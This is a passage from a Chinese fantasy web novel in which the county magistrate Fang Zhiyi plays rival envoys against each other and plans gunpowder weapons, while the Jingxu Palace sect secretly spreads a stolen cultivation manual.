这两个词语他在唇边滚了一圈才又咽下,这会保持淡定,却又实在好奇得紧。 这会连先前的那股自觉矜贵的劲都淡了几分。 毕竟这装逼啥时候都能装,但若是离开了风仙县,这能看到的东西日后可不一定还能看到了。 打量一番,眼看这些百姓在稍稍围观后各自离开,他这才收回打量的目光。 因他过来时正是下午,所以并未看到那沼气灯全部点燃,亮如白昼的模样。 这会被人引着进了县衙,又被领到议事厅。 刚进来,还不等他有何动作,这会抬眼慢慢看过去,首先映入眼帘的便是那县令青色的袍角,而后他慢慢抬头,却看到了女子所属的面庞。???等会,女人? 女人当县令? 这这这简直是笑话! 他第一反应便是如此,但很快,再看向对方时,却觉得自己膝盖发软,竟是有种控制不住膜拜的冲动。 ——等等,为何会有这番冲动? 这会还想去看,却愈发觉得此人面庞看不真切,反而让他从心底里生出一股恐惧,没等反应过来,膝盖已经结结实实的磕在地上,头也触及在地,颤抖出声。 “县令大人,在下甘林,奉陈总司之命,特地拜会。此次出使,一是向大人您致以敬意,二是携我方诚意,就两方联合,与贵县探讨。 陈总司特地命我等带来些许薄礼,不成敬意,还请县令大人能收下让我等安心才是。” 虽说嘴上的客套话说得很是熟练,但事实上,甘林此人后背正抑制不住的冒着冷汗。 怎么回事??? 刚才他明明只是多看了这风仙县县令两眼,为何会觉得心慌至此? 那种仿若被盯上,若不臣服,下一秒就会觉得自己尸首异处的感觉实在是太真实了。 这会好容易控制住自己不断颤抖的身体,只盼对方别注意到自己的不对劲,毕竟他还是代表陈总司来的,这一见面先被对方县令吓得颤抖这叫个什么事!若是说出去,感觉他日后都不需要在使者圈子里混了 不同于甘林丰富的心理活动,方知意倒是若有所思的看着对方。 ——伏地的身躯还在微微颤抖,但他手心上捧着的信件倒是让她有些在意。 除了信件外,她扫了一眼这名叫甘林的使者,他身后的六口箱子正被她手下人打开,里面珠光宝气,一时半会,竟是映照得屋内流光溢彩。 方知意大致一看,倒意外陈京行竟然会挑比较不错的宝贝送来,这会有人将信件递过来,她展开迅速扫过。 等看清楚其内所写后,她心中难免嗤笑。 这陈京行果然狡猾,表面上看着写的是休战,实际上则是带着审视和试探,想看看风仙县的实际情况如何。 当然,其实按照她的想法来的话,现在绝非是和对方起冲突的时候,毕竟冲突会造成经济受损,会让县域发展再度陷入近乎停滞的状态。 且她现在最需要的便是时间,若是时间足够,让风仙县以及附近县域再发展几分的话,日后就算是和陈京行这般的庞然大物打起来,她们也不差什么。 这会看着信件,不免继续深思。 其实说到底,风仙县目前的困境和陈京行面临的困境很是相似,都是需要独立,还不够,还需要继续蛰伏的状态。 此人相当狡猾,不可能不知道她很大概率会虚与委蛇,表面上答应,事实上暗戳戳等着掀翻对方。 且按照陈京行的实力,他按道理没必要对风仙县这么忌惮才是。 除非此人知晓了仙师的存在和威胁。 面对仙师这个不确定因素,他害怕了,这才派出使者借口缓和,实际上,估计对方和她抱着一样的心思,先稳住对方,然后慢慢找机会打探,最后再将猎物一口吞下。 除了提出两方休战,和平共处外,此人倒是颇为心机的穿插了几句关于立场的提问。 方知意不免暗自轻笑。 ——我们和朝廷可不是一伙的。 这会看着甘林还跪伏在地,带笑先让他起身。 “这兹事重大,本官还需考虑考虑,今日天色已晚,不若使者先休息才是。” 她说话的声音还带着笑意,事实上,只有甘林才知道这位方大人说这话可是压根没有让他拒绝的余地。 本来他是想在风仙县溜达两圈,好回去将县内情况告知陈总司,但这心思被对方戳破,这会只能歇了心思,故作淡定被人带了下去。 等到甘林离开后,祝应倒是缓缓从屏风后走出,这会迅速扫过陈京行写过的东西,难免神色略带嘲讽。 “他没怎么变,以前就用这话术骗得皇上对他颇为信任,现在还来这一套。 看来他还挺认真的,对风仙县。” 话语带着淡淡的笑意,而后继续开口:“不知方大人如何回应?在我看来,可以先稳住他一段时间,至少等粮食收获后再开打。” 这话确实是实话,毕竟粮草是战斗的基础保障。 看方知意没说话,祝应继续道:“且依我看,这陈京行恐怕也是抱着同样的心思,先稳住我们,看看是否有联合的可能,若是有,那便利用我们,若是没有,那便秋收后动手。” 其实祝应对陈京行此人的大部分印象还停留在她在黎州元城那会,在她十六岁时,陈京行已然二十岁,正是年轻时。 想当年,此人也是一表人才,思维敏捷不下于她,当初颇受先帝喜爱,这才被派往明州做官去了。 祝应对陈京行的第一印象其实不错,温和有礼,接人待物没得说。 但接触久了,便能察觉到此人虽说聪慧过人,却太过于冷血无情。 譬如在某些民生见解上,他提出的观点确实新奇有效,但却置百姓,置生命于不顾,这做派确实让祝应甚是难以接受,之后便不自觉慢慢远离了此人。 等到他日后前往明州境内后,这联系自然是慢慢断了。 若是再有关于此人的消息,那便是她被困的那十五年里,祝家陆陆续续带来的消息了。 那个时候,她被祝家困于庆山寺内,等她后知后觉听到消息时,这才知晓这陈京行竟在先帝薨了后,慢慢凝聚势力,而后发展到三分天下。 倒是不免让她感慨,当初她还是没看对此人的野心,竟然这般膨胀。 祝应从回忆中回神,方知意还在蹙眉思索。 而后她点头同意,唇角带笑,只是笑得有些许无赖。 “那便同意联合,先吊着他。做不到的事都答应他,能做到的坚决不松口。” 听到这话时,祝应几乎瞬间便晓得方知意打的是什么主意,这会难免有些惊诧,而后笑出声。 “方大人可确定?小心日后名声受损。” 方知意不甚在意。 “名声能当饭吃?祝姐姐也不是第一次知道我的喜好。” 祝应在心里回复——确实,她本以为方知意年纪尚小,有时候可能会不够果断,但现在看来,此人便是天生当统帅的料,足够聪慧,对敌人心狠,对百姓仁慈,有着自己的底线。 倒是她虽有天才之名,在这方面还是差对方一截。 这会难免玩笑开口:“幸好方大人是同僚,而非敌人。” 方知意此刻已经开始回信。 大致内容大概是为了百姓安稳,风仙县自然同意休战,双方各自休养。 除了这方面,方知意还在其内隐晦表示自己并非和朝廷一条心,且言语间偶有对朝廷隐晦的不满,最后又给对方画饼,又暗叹自己管辖区域急需要银两,希望对方能助自己一臂之力。 大概意思总结下来就是,休战行。 但我其实不太乐意跟你混,站你这条队。 但没办法,我现在经济上有点困难,如果你借我点钱,我就死心塌地跟你混了,但得多一些,可以接受高利贷。 事实上,方知意确实是故意的。 若陈京行不肯借钱,那日后她便会用这事来戳他肺管子,推辞一番后不给他干活。 若是借了,那就更好了。 她依旧会不给他干活,同时让他知道世道的险恶,别说利息,他这笔本金都别想要回去。 不得不说方知意的技巧不比陈京行差,甚至青出于蓝而胜于蓝,比他写得还要真挚几分。 回信已经写好,但现在可不是给回去的时机,给得太轻松容易让对方怀疑。 得等到最后期限,不然如何能体现出她的纠结不舍? 这会方知意已然写好回信,倒是一路被“护送”回去的甘林有苦说不出。 ——这群人也跟得太紧了!他基本上是被无缝接送到了住的地方。 中间他本来还想试图打量一番这县衙,但对方压根没给他机会。 四个彪形大汉将他围得死死的,各个角度阻碍了他的窥探。 等到歇下时,甘林难免颇为纠结犹豫。 看那县令大人一副笑面虎的模样,此人心机颇深啊,这事,到底能不能成? 一晚上纠结,辗转难眠。 甘林的纠结暂且不提。 第二天一早,官兵急匆匆回报,城外又有一使臣前来,此人自称是从黎州元城而来,代表圣上前来会见风仙县的县令。 方知意得到这消息时是真乐了。 看来是因为陈京行的动作才惹得这黎州使臣前来。 至于对方所求,她闭着眼都能猜到。 第210章 颠倒黑白 从黎州元城代表小皇帝前来的正是保皇派派来的使臣,此人名杨舒。 说实话,实际上这活计他一点都不愿意来,毕竟谁都知道这风仙县他们不知底细。 不知底线便代表有不可控的风险,是处于一个无法预测的变量。 毕竟在使者圈子里也是存在好事坏事的,若是遇到了譬如送捷报这类,这便是好事,有时候圣上龙心大悦会赏不少银两。 反过来说,譬如播报失地等等坏事,那对他们使者来说也是极为危险的事。 运气好点的便算是透明人,运气差点的说不定要被这消息拖累,挨个几板子都是轻的,掉脑袋的事也不是没有。 而像此时来风仙县出使,这便属于不好不坏的混沌状态。 毕竟具体情况不知晓,未来会流向何方无人清楚。 但在杨舒看来,这定是颇为凶险,毕竟陈京行都来给这风仙县求和来了,说明风仙县此人确实不可小觑。 这作为天之骄子,有点脾气实在是太正常不过了。 这会虽说在城门外等着,杨舒难免紧张。 ——唉,只希望这位能稍微好说话一些,不然他估计要有去无回啊! 想到临出发前父母妻子抹泪的模样,杨舒一颗心狂跳不止。 这会在城门口呆得时间越久,内心越是不平静 看来这位脾气很大啊,不然不至于这么久都不让他进去,想到自己此次前来的目的,杨舒难免面色忧愁。 正是心底七上八下时,城门开了,从里面走出来的并非穿青色官袍的县令,而是一骑马的官兵。 按道理是不符合规矩,但规矩是死的,人是活的,杨舒自觉自己还没那么想找死,这会也就睁一只眼闭一只眼,只求最后能安全完成自己的任务就算了事。 若是真论什么朝廷尊严,杨舒就想黑脸了 这哪有什么坏事都让他干了,还要求要有脸面? 嘿,反正他就是一普通打工人,若不是实在无法推脱,这活谁乐意干?钱少事多,总之别管过程,只看结果便是! 心中槽多无口,这会被带着往里走,先是查了身份,又查了携带物安全,这才被放进去。 一路走来,杨舒倒是也没闲着,几番打量,倒是很快察觉到这风仙县竟是颇为不同。 此人要比甘林更为敏锐,毕竟素日杨舒生活水平比较尴尬,日常贴近普通百姓的生活水准,和因备受信赖而被派来的甘林可不是一个阶层的使者。 因为接地气,这会倒是让他在途中很快就捕捉到了新消息。 ——这里的物价比黎州要低不少,且百姓交易的热情很高,无论哪个商铺人都不少,一时间,他竟有些恍惚幻视当年黎州最为繁华的那段日子。 且让人无法忽视的是,这些百姓眼里各个有光。 杨舒认得很清楚,那是一种希望的光,和他过往曾遇到的那些个百姓不同。 对他来说,人最宝贵的便是一种对未来的心气,若是心气都没了,那人便是散了。 仅仅在马背上路过这些百姓,杨舒都能察觉到一种蓬勃的生命力,他看着这些人,一时半会竟有些愕然。 他已经不知道有多久没看到过这种盛况了。 若想有这盛况,至少说明风仙县的统治者不会像是他所想那般残暴,他并非没有去过陈京行的领地,在陈京行的领地上,民众看着麻木不堪,和此地民众完全是两个精神面貌。 当然,他这次主要是来出使的,并非研究民生问题。 心里嘀咕不已,不过说实话,他这会对于自己的生还率又有信心了。 等到会见到这传说中的风仙县县令时,杨舒虽觉得自己早有准备,但看到县令大人竟然是个女人时,这会还是觉得自己的准备做少了 不是,不管他怎么想,假定性别都是男人啊! 好在他反应速度快,不管啥情况,上去就是一顿磕,将自己来意说清楚后,倒是方知意看着他带过来的礼物自觉有趣。 ——沼气灯? 没想到兜兜转转,这从本县出去的不甚值钱的沼气灯摇身一变成为了价值千金的昭华灯。 只不过这玩意她确实是不需要而已。 当然,目前沼气灯业务还需要继续开拓,真相自然是不能告知对方,不然日后沼气灯卖给谁去? 所以很快,方知意倒是配合地演了一番,听对方介绍这昭华灯。 等到拿到信件,她便心里有底了。 ——果然和她猜得没错,这些人主要是奔着陈京行来的,话语中大都是在隐晦拉拢。 先是给风仙县戴了高帽,自顾自给了一个名号,算作他们朝廷的功臣,又许诺诸多好处,若按照信件所说,他们原想着和她联合起来,形成一个夹击之态将陈贼击败,等到将陈贼击败后,便允诺给她想要的封地和名声,还许诺若有需要,他们可提供帮助,只要将这陈贼击败即可。 毕竟在这信件中,风仙县可是被他们视为大炎朝的一员,而陈京行反贼的名声可是钉得死死的。 方知意倒是很是理解。 在朝廷看来,相比于一个风仙县,自然还是陈京行更为难搞而已。 至于朝廷倒也不是非得需要风仙县的站队,但至少他们不允许风仙县站队到陈京行那边去。 这封信的目的主要有两个,一是拉拢招安,二是警告画饼。 方知意自然是来者不拒,等到差人将使者送回县衙住宿地方后,便洋洋洒洒写下回信。 大概意思就是:我们风仙县一直以来都是朝廷的领土,自然不会和反贼是一派的,但现在我遇到了困难,急需要匠人和银两提升能力,好能积攒实力,和朝廷形成夹击之态直取陈贼老巢。 这钱可不是借的,不是你说的和我们风仙县是一家人?一家人还谈什么借不借的,自然是伸手去要了。 无论是匠人还是银两,方知意主打一个薅羊毛,能多薅点是一点,反正风仙县距离他们元城远得很,天高皇帝远的,哪有那么好管? 且换句话说,这天塌下来还有陈京行在前面顶着呢! 她从朝廷给送过来的礼物中便能看出来,朝廷压根没把风仙县当回事,高傲让他们产生轻视,这便是风仙县的机会。 毕竟朝廷死也不会和陈京行联手,反而去选择对付这么一个小县城,这对朝廷来说简直是耻辱。 且最重要的是,朝廷和陈京行,完全是水火不容,双方可以说信任度几乎为零,自然也不存在联手的可能。 将回信写好后,在三日后便可将使者放回去了,毕竟和陈京行不同,对于朝廷的招安,自然是纠结的时间越短越值得信任。 和两使者的见面结束后,方知意脑内却不由浮现出先前她在集闻楼内拿到的武器图纸。 ——连射弩的改进,以及火药的研制。 目前本县现有的连射弩箭匣可装20支箭,一次可并发2箭,能连发十次。 当然了,中间填弩箭还需要时间,这在正式作战中甚是浪费时间,所以一般弩箭均被用作守城战,或者是优势比较大的时候围抄使用。 但不得不说,弩箭的穿透力实在是强悍。 而她先前在集闻楼内看到的连射弩却能做到一次连续发射50支,这可是翻了一倍多,在实战中若是能引入的话,瞬间会让战局逆转。 且那图纸她大致看过一番,单从图纸上来看不难。 除了连射弩需要改进,最让她在意的自然是火药了。 根据书中记载,这火药可被制作成火铳和震天雷,大致过程方知意看了一眼,发现若想制作出来像是书中所写的那般精密的子弹,实在是颇有难度。 但若是精密度放宽一些,只做能够初步使用的火铳的话,那倒是还有几分实现的概率。 至于震天雷看上去要比火铳制作起来更简单几分,毕竟它的体积相对来说较大,精密度要求并没有那般高。 不过这些的前提便是火药研究成功,毕竟在大炎朝可没有火药。 对于这方面,方知意绝非熟手,她自然是将此任务分配给了仇离,毕竟原先仇离可是落地了沼气池运营实施的人才,这火药的研究和配置,大概只有此等天才才能复刻。 至于为何要研究火药,那便是方知意对于之后战斗的预防而已。 虽说风仙县有仙师作为后盾,但若是敌人实在是太多,仙师只有一人,可该如何对敌? 不是说质疑仙师,而是蚁多咬死象啊。 且虽说本县民众在修炼了仙师给的炼体身法后各个强壮,至少能一打二,但敌人的人数可要比风仙县的两倍多多了。 若是只用冷兵器,难免会落入下风。 但若是有热武器便不同了。 根据她在集闻楼内阅读过的书籍所显示,冷热武器,这可是完全不同的两个时代。 书中所写便是热武器的出现立马彻底打击了冷兵器,很快,冷兵器时代便落幕了。 她们人数少,所以只能采用这种能够以一敌十,甚至敌百的热武器,不然想来日后会陷入苦战。 在热武器还不曾研究出来前,若是需要的话,她们则是可以先用符咒作为冲锋的第一排。 但符咒的坏处就在于,产量少,且并不是每个人都能用,相对于来说,爆破符的威力不算太大。 符咒主打一个出其不意,以及辅助攻击。 且若是日后和朝廷真打起来的话,景旭宫的符咒数量自然是更多,毕竟景旭宫积攒多年,实力自然要比永道宫强悍。 这对她们而言并非好消息。 而若是火铳和震天雷能批量生产的话,那可是稍作培训,人人都能用的存在。 到时候若是在战场上拿出火铳和震天雷,对于敌人的心态来说不可畏不是一个沉重的打击。 毕竟符咒还能说是量少,普通人难以用上,但这火铳和震天雷,只要是有眼睛就都能看清楚,这玩意是有手就能用。 使用门槛低,若持有量上升,自然会让敌人的士气下跌许多。 不过有一说一,这景旭宫确实是一个潜在的麻烦 方知意神色微动,这会不免蹙眉,想起了先前永道宫说过的话。 ——早在一个月前,永道宫曾说他们已找到办法控制景旭宫的发展,不知现在是何情况? 她得找机会问问才是。 而此刻,远在黎州的景旭宫,最近却是掀起了一股疯狂修炼的热潮。 先前从永道宫被俘弟子手中得到了完整的《青梧引》,起初一开始没人相信这玩意会真有用,毕竟能够引气入体,让修炼速度加快,又能帮助精准控制体内精力的术法一听就觉得玄乎到不存在。 但当景旭宫的几位长老用亲传弟子试了后,确定此功法用着确实没有副作用,且功法修炼要比原先快了许多后,这会自然是沉浸其中,无法自拔。 因这《青梧引》实在可以说是仙法一样的存在,景旭宫高层们修炼得如痴如醉,均在慢慢感受体内灵力的流通,且没用多久,原先体内郁结的部分便被从外涌入的灵气慢慢推开,这股润物细无声的感觉只要体会过了,便让人无法放弃。 一行人修炼了足足一个来月,功法已然在体内运转了数个周天,这会只觉得浑身上下都透露出一股轻盈来。 他们也没闲着,倒是特意试验一番,确认精力控制确实是更精准了,炼丹炼器等需要术法参与的活动,眼下灵力损耗都少了一半。 这段时间,景旭宫内的丹药,符咒,器材都多了不少,都是他们一步步试验,一时不注意,便炼出了这么多东西出来,不过也不浪费,反正可以留着给内门弟子用,若是再多了,那便分出去,让外门弟子用宗门积分兑换后用,反正无论如何,都不亏。 在谈论到这等仙法该不该让宫内都练起来时,说实话,这几人就有了不同意见。 “这等神功为何要分享出去?若我等将这功法攥在手心,日后岂不是地位更是牢固?” “话虽如此,但也得考虑现实情况。这若是我们第一个发现的,那私底下我等暗中修炼即可,但这可是从永道宫手里抢来的。若是我等不将这功法分散出去,让宫内弟子修炼,日后若是永道宫迎头超过我们景旭宫该如何是好?” 这话说得很清楚,毕竟他们现在这情况确实由不得他们将功法独占。 这会另一人恨恨开口。 “永道宫真是走了狗屎运。但这话说得没错,我等确实应当考虑将功法传播开来,毕竟日后若是打起来,咱们输了的话那脸要往哪搁?” “可惜啊,这等仙法,竟然要被其余人知晓,一并修炼,简直让人郁闷至极!” “哎,别郁闷啊柳老头,谁说这功法要让所有内门弟子学了?” 此人这话一出,其余几人均是看他。 “哼,叶圣,别卖关子,赶紧说。” 名为叶圣之人冷笑着慢慢开口:“这很简单,那永道宫人数有多少,咱们便传授多少人,可以比他们人数多一些。 不过这选取对象必须要好好选择。 一来是选择对我们景旭宫足够衷心的,二来是选择对我们景旭宫日后发展有用的。 就这两个标准。 为了避免这些人日后不听话,我建议用咱们的秘药控制一番,这样风险也没了。” 听闻叶圣这话,其余几人还在沉思,而后又有人质疑。 “这我等行事不可太过。原本这是一番好事,若是非要用此事将人逼到了咱们的对立面,这真的好?” 又有人嘲讽道:“差不多得了,什么叫逼?这等仙法若是能修炼上,别说有些条件,若是有机会的话,外面那些人哭着求着都要修炼这功法。 不说别的,就单论这寿命能达到近200岁,这可是比原先多活了一百来年啊,这等诱惑不说普通人,就连皇帝都心动吧?” 此人说话甚是轻蔑,这会躲在兜帽下的阴影被风吹得乱动。 其余几人默不作声。 ——话虽说糙了点,但这也确实是大实话。 倘若换个角度思考,若是他们得知这功法,代价是必须要对其忠心的话,那肯定是二话不说就同意,毕竟能修炼这功法,那可是凭空多了一百年来的寿命,无异于再生父母了! 等想清楚其中的弯弯绕绕,这会总算是由景旭宫的宫主拍板定了下来。 “速度必须要快,我们必须要将修炼进度赶在永道宫那些人之前,不能让他们超过我等才是!” 既宫主已经松口,这几人自然应下,而后各自去将这名额分散开来,给了自己最为信任之人。 这些人在拿到这般机会后,起初均是不敢置信,但等到在他们的带领下帮着运行了一个小周天后,顿时跪伏在地,面露激动。 “您这功法简直神了!这般堪称神奇的功法,师叔却毫无顾忌的给了侄儿,侄儿日后定要好生修炼,为师叔效犬马之劳,万死不惜!” 为了提高可信度,甚至开始对着师祖发誓。 毕竟在这些小年轻看来,既然这般好的功法师叔能给自己修炼,那便是真把他当成了一家人啊! 别说发个誓,就算让他干别的他都同意啊! 这可是平白多了一百年寿命,这和亲爹有啥区别? 等收获了一波最为信任之人的感恩后,起码景旭宫最不可能叛变的群体出现了。 当然,除了最信任的人外,自然别的剩余位置就要利用起来。 ——得仔细挑选,按照家世,势力,能力,综合来看。 因名额稀少,经过三天时间,很快这些名额就如同雪花一般卖了出去。 大多购买此名额的都是有着世家做背景的内门弟子,无论是能力,还是家世,都属于第一梯队那类。 当然了,卖名额不能直接说这功法能让人寿命翻倍,不然会惹出许多麻烦。 他们倒是会挑选,只是说这是一门神级功法,会让精力运转更为流畅,若能修炼上,那必定是大有提升。 虽说得模模糊糊,但这些人可都不傻。 经过三天时间游说家族为自己夺取更多筹码,总算在三天后成功拿到了此名额。 等到确定名额后,这群人这才被教导《青梧引》,但当被协助着引气入体后,众人难免瞪大眼睛。 ——这感觉莫不是以往书中所写的与天地感应相联合? 以往修炼时,他们可从未有过这般感觉。 本来一直以为是夸张了,谁能想到是他们原先修炼的功法就不对! 看来这《青梧引》确实称得上是神功! 众弟子心中激荡不已,这会抬头去看讲学的长老们,一时间竟是听得如痴如醉。 等听到这功法居然可以延长寿命至两百岁时,各个不自觉瞪大眼睛。 两百岁??? 脸上的惊讶还不曾消散,又听说这功法可惊进对灵气的控制,对于炼丹制符炼器,可谓是事半功倍。 一时间,众人难免又是一片唏嘘。 为了增加可信度,甚至还有他们认识的同门弟子上去演示一番。 等到这人演示一番后,众弟子不自觉唏嘘——不是,这人以前他记得啊,和自己水平差不多,眼下不过是率先修炼了神功,竟能在制符一事上相较于原先有这般明显的提升! 要知道,无论是制符,炼丹,亦或是炼器,减少消耗,提高效率,这是多么有用的技能,无论是售卖,兑换成积分,亦或是拿去送礼打点,都是极为合适的。 一时间,众人难免心思万千。 这会脑袋里唯一想着的便是,这钱没白花啊,所谓舍不得孩子套不着狼,若是没有先前咬牙同意那笔交易,现在如何能拿到这门神级功法? 要知道,单从寿命角度来说,他们便已经是赚大了。 这会教导已然结束,几位长老互相对视一眼,这才由宫主开口。 “诸位既已看到了这仙法的奇妙之处,日后潜心修炼才是正经事。 不可懈怠,毕竟有这仙法的可并非我们景旭宫。” 此话一出,顿时引起众人疑惑,感受到多股宛如实质的目光后,宫主不急不缓颠倒黑白。 “这功法是我等历经千辛万苦,才在一秘境找到的仙法,却在离开时遭到了那永道宫的埋伏抢夺。 虽说一番惨烈争斗,仙法还是被我等顺利带回来了,但可惜的是,他们永道宫却依然将这仙法记录下来,现在想来也已经开始修炼了。 所以至此,我等必须要努力修炼,等到修炼足够后,再前去亲手为当日抢夺功法一事报仇才是。”《 》 210-220 第211章 变数 初闻永道宫居然敢抢夺自家秘宝后,景旭宫众人先是不敢置信。 ——等等,这永道宫一群废物竟然支棱起来了?而且居然还懂得抢秘宝了? 转念又一想也合理。 算了,也合理,毕竟这《青梧引》实在是不一般,别说为了这等仙法抢夺,哪怕是杀人夺宝也合理啊。 倒是有人开口:“宫主,为何我等不先去打杀了那永道宫之人?将那功法抢走,这样便不存在威胁了。” 景旭宫宫主一脸深沉,摇头道:“这功法不一般,想来那永道宫早就做了多番防范。目前最重要的并非是去找他麻烦,而是先行修炼才是大事。 想想看,我们景旭宫有多少天才,而他们永道宫又有多少? 人数上足以压制对方。” 宫主这番解释确实没毛病,且私心来看,他们目前也不想去打打杀杀浪费时间,毕竟初得这仙法如同得到新玩具的孩子一般好奇。 且这仙法可是大有益处,自然不愿意浪费时间在追杀敌人身上。 再说了,他们景旭宫人多,且底蕴厚,想动手的话,那不是分分钟就能解决掉对方? 多方因素加持,没有人提出不同意见。 在这初次教学结束后,众人便各自回家,潜心修炼。 一时半会,修炼速度飞涨,且各种符咒,丹药,器材在市面上突然多了好几成——这自然便是他们修炼之余的创收了。 这行为景旭宫一向不管,所以便任由他们去了,毕竟又没用宫里的东西,和景旭宫犯不上冲突。 按道理,这些东西多了,价格应当会下降,但事实上因为受众广泛,产出较小,这些玩意一经上市,这会还不够卖的。 市场积极的反馈让这些人更有信心了,这会自然是更加努力修炼,以求能够将控制精力做得更为完美,好两手抓。 当然,因为这些被选中的人在内门弟子中占据的位置都算少的了,这会其实大部分内门弟子并不知晓宫内正在忙些什么。 只知晓宫内的大人物们最近都不常见了,看来是有事。 等到这些人修炼《青梧引》有一月后,其余未曾修炼的内门弟子总算有些许机灵之人发现了不对劲,但均因为没什么明确性发现,只能将疑惑埋在肚子里。 而这些人中,倒是有一人运道不错,在一废弃山洞中找寻到了一秘法。 此秘法名为《青梧引》。 此人叫何胜,日常运道就是出了名的好,不少人经常会暗戳戳羡慕他的好运。 这会等拿到这门秘法时,他第一反应是不相信。 ——这说得也太玄乎了! 但等细细查看其内所写,却发觉这内容十分具有可行性。 至少在理论上完全没问题。 但要不要尝试一番呢? 毕竟尝试功法是一件冒险的事,一不留神,便会有经脉受损的风险,严重的还会一命呜呼。 按外人看来,他何胜只需要随心而动,做出的选择便没有出错的时候,但只有他知道他修得到底是什么法。 气运交转术。 这术法乃是他祖父辈流传下来的神奇术法,且因时局动荡不安,他们倒是将此术法隐藏得很好。 传到何胜这一代时,何胜算得上运用此术法最为娴熟的人了。 此气运交转术一旦运转,便会在特定的时间段让人变得幸运无比,但一旦这个幸运时间段过了,霉运便会翻倍而来。 若是想规避霉运,便需要和一气运强大之人呆在一起,用别人的好运去缓和自己的霉运,将两人的运平分成平平无奇的运。 所以这便是为何他虽被传运气好,却依旧愿意和别人多多相处,甚至不吝啬帮助跟随之人的缘故。 ——有趣吧,这些强运之人在无形中被他吸食了好运,却因为他给的三瓜两枣而对他颇为感激,这感觉,说实话,一旦尝试便会上瘾。 虽说不地道,但这事天知地知自己知,且在何胜看来,他不过是顺手采用了对方的强运,换个角度来看,对方的强运也让他们遇到了他,他这不是还给了一点甜头么? 这怎么就不算是强运带来的好处? 因有人能分担此术法带来的风险,所以何胜此人对这气运交转术的使用便没什么节制。 这会既遇到了这堪称为仙法的存在,他是必定要运用一番,占卜一番凶吉才是。 在动用术法后,何胜从衣兜内掏出三枚铜钱含在掌心,而后依次抛出六次。 抛掷时,他仔细盯着这三枚铜钱落地,迅速记住正反,而后在抛掷结束后,看到卦象显示结果为“天地交泰,万物通泰”。 这可是卦象第11卦泰卦,绝佳的好卦啊! 此卦寓意着此事大吉,看来他确实应当立即修炼才是! 兴奋涌上来时,何胜喜不自胜,这会竟是立即按照书中所写修炼起来,等到成功引气入体后,他不由地瞪大眼睛,感受着那天地灵气慢慢灌入身体的通泰舒爽感。 ——!!!这感觉比吃什么灵丹妙药都舒坦啊! 这书绝非是骗人的东西,内容可以瞎编,但这种只有感受过了引气入体之感才知晓这绝非虚言! 看来他是走了大运,竟然能碰到此秘法!可谓是运道到了! 这等秘法竟如此有效,他必须要藏着掖着才是,毕竟树大招风,他可不想因为身怀异宝而被人盯上。 等到运行一个小周天后,何胜喜不自胜,又重新看那秘法中所写。 只见那秘法所写甚至玄而玄乎——譬如可延长寿命至两百载,提升修炼速度,可令人返老还童,还可让人能够更加准确地控制灵气,好在制符,制器,炼丹这类需要灵气参与的事情上事半功倍。 这会竟是越看,越觉得前途一片大好。 ——哼,可算是让他走了一回大运了,若他能潜心修炼,等到熬死了宫主,到时候他修为也上去了,这景旭宫岂不是要换主人? 这会想到日后盛况,竟是忍不住笑出声。 正当他将此秘法小心翼翼的塞进怀里时,却察觉到先前投掷的三枚铜板竟在他怀里变得滚烫。 烫得他几乎立马将这铜板掏了出来,还没等他开始按照心中所想继续投掷铜板,这铜板竟是开始自顾自投掷起来。 何胜是第一次遇到这情况,这会目瞪口呆,看着铜板上下翻舞,而后组合成新的卦象。 等看清楚这卦象所显后,何胜本瞪大眼睛,呆若木鸡。 ——竟然是最为凶险的一卦!卦象中的第12卦,否卦。 “天地不交,万物不通。” 此为大凶之卦! 何胜先前有多春风得意,这会就有多惶恐。 怎会怎会如此! 以往他动用了气运交转术后投掷铜钱,可从没有过给过两次卦的时候。 这会脸色阴沉,后背道袍濡湿了一大片。 再将那秘法从怀中翻找出来仔细翻阅,终于查看出了端倪。 ——靠,这秘法能让灵力控制更为精妙,再联想到先前市面上突然多出来的那些丹药,器材,符咒,何胜顿时脑袋蒙上一层冷汗。 再细细思索一番宫内最近的动向,联想到一个月来的变化,他脸色已经苍白如纸,汗流浃背。 看来他这是阴差阳错,误拿到了真货啊! 这秘法必定是真的东西,不然宫内大能不会去擅自修炼,且那些被选中后被授予功法的内门弟子,自然也不是傻子,会去花费那么多代价去学一门无用的术法,最合理的解释便是他拿到的这本秘法和最近一个月宫内新出来的东西重合了! 何胜自诩自己还是有些小聪明的,但在此事上,他却头一次察觉到了一种恐惧情绪来。 若这秘法只有他一人知晓,他只需隐藏好修为便是,但若是知道的并非他一人,日后总会有露馅的那一日。 若是这消息被传递到了宫主的耳朵里,以景旭宫的手段,他怕是要吃不了兜着走了! 毕竟在宫主和宫内长老看来,此功法自然轮不到像他这样的杂鱼修炼。 且最重要的是,他有可能还会暴露身上的气运交转术,这等术法若是被宫主知晓后,他就算不死于拿到秘法,也会被利用到死的! 一旦想到此事带来的种种恶果,何胜不免心生绝望。 但与此同时,他脑内却有了一个计划逐渐浮现。 ——等等,现在的情况就是水太清了,所以才显得他这样的杂鱼异常清楚,但若是他将水搅浑了呢? 到时候可不是他一条杂鱼,那可是一个令人头疼的数字啊! 再说了,他作为内门弟子没什么背景,但不代表其余人就没有背景啊! 等到时候事发东窗,景旭宫还要忙着处理其余凝聚成团的,对宫内藏私不满的众弟子,他混迹其中,自然是不明显了。 当然,等到这混乱过后,他得想个办法死遁才是,不然对方总会抽丝剥茧摸到源头。 一旦想好该如何做,何胜倒是看着比原先淡定多了,这会心不慌了,头不疼了,就连身体都轻松了几分。 对了,这出手秘法一事他可不能随便现身,不然暴露得太快 思来想去,何胜脑内很快就有了个堪称完美的计策。 傀儡术! 他知晓祖母的旁支有一门秘术便是傀儡术,据说能造出相当精巧的傀儡,若是他用这傀儡代替自己去出手秘法,这便解决了他的大麻烦。 想到这里,他立即忍不住动身前往祖母旁支所在地,而最重要的是,他也得考虑一番日后该将这秘法卖出一个什么的价格。 既然已经深陷危险,不如搏一把。 若是成功,他日便能收获一大批修炼财宝,日后修炼定是不用发愁了! 而与此同时,却有一人满意地看着何胜匆匆离开,面庞带笑。 “还是仙师算得准啊,原来变数在这里。” 第212章 引爆 此人身穿一月白色道袍,正是李归一。 先前他在风仙县呆了有半年,这会也看开春了,日头暖和了,又开始再次出去游历。 之前他去的是黎州,此刻自然要换个方向,前往幽州才是。 毕竟一来是看看幽州本土风情,二来也是为仙师一统天下先去探探路。 因恰好要穿过黎州境内前往幽州,倒是意外被师祖交付了一重要任务。 ——去景旭宫查看情况。 当然最主要的是查看他们宫内是否正在修炼《青梧引》,毕竟只有对方开始修炼,这才算是计划成功。 